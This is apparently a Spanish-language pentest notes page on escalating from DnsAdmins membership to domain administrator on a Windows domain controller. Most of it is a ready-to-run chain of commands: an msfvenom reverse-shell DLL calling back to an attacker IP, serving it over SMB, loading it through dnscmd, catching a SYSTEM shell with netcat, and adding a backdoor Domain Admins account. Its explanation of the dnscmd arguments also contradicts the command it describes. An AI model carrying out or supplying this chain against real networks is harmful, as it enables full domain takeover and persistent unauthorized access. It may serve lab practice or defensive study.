DNS Admins

Los usuarios que son miembros del grupo DnsAdmins tienen la capacidad de abusar de una característica del protocolo de gestión DNS de Microsoft para hacer que el servidor DNS cargue cualquier DLL especificada. El servicio que a su vez, ejecuta la DLL se realiza en el contexto de SYSTEM y podría utilizarse en un controlador de dominio (desde donde se ejecuta DNS normalmente) para obtener privilegios de administrador de dominio.

En el siguiente ejemplo, el usuario ryan pertenece al grupo DnsAdmins.

PowerShell

Get-ADGroupMember -Identity "DnsAdmins"

Powerview

Get-NetGroupMember -Identity "DNSAdmins"

net

net user ryan /domain

Bloodhound

Dns Admins

Explotación

  1. Creación de la DLL maliciosa

    msfvenom puede ser utilizado para crear una DLL maliciosa que, cuando es ejecutada por DNS se conectará de nuevo a la máquina del atacante en el contexto de SYSTEM en el Domain Controller.

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=4444 -f dll > exploit.dll
  1. Creamos un recurso compartido con impacket-smbserver
impacket-smbserver -smb2support kali .
  1. Registrar la DLL.

    Una vez que la DLL maliciosa se ha cargado en el objetivo, se puede utilizar el siguiente comando para registrar la DLL.

dnscmd.exe RESOLUTE /config /serverlevelplugindll \\10.10.14.11\kali\exploit.dll
1. `dnscmd.exe`: Es una herramienta de línea de comandos utilizada para administrar y configurar servidores DNS en entornos de Windows.
2. `resolute`: Es el nombre del servidor DNS al que se enviará el comando. En este caso, "resolute" es el nombre de ejemplo del servidor al que se desea enviar la configuración.
3. `/config`: Indica que se está realizando una operación de configuración en el servidor DNS.
4. `/serverlevelplugindll`: Este parámetro especifica que se está configurando un complemento DLL a nivel de servidor en el servidor DNS. Los complementos DLL pueden proporcionar funcionalidades adicionales al servidor DNS.
5. `C:\Users\Ryan\Documents\exploit.dll`: Esta es la ruta de la DLL que se está intentando cargar como complemento en el servidor DNS. En este caso, se está especificando la ruta completa del archivo DLL llamado `exploit.dll` ubicado en la carpeta "C:\Users\Moe\Documents".

6. Escucha con `netcat` (Atacante)
En nuestro host de ataque, nos ponemos en escucha con netcat en el puerto especificado anteriormente en el comando msfvenom.
rlwrap nc -lnvp 4444
  1. Detener e iniciar el servicio DNS

    A partir de aquí, detener el servicio DNS e iniciarlo de nuevo generará un intérprete de comandos SYSTEM para el oyente netcat.

sc.exe stop dns
sc.exe start dns
  1. Persistencia

    Desde aquí se puede conseguir la persistencia de Administrador de Dominio. Se puede crear un nuevo usuario con privilegios de Administrador de Dominio.

net user hacker Password123! /add && net group "Domain Admins" /add hacker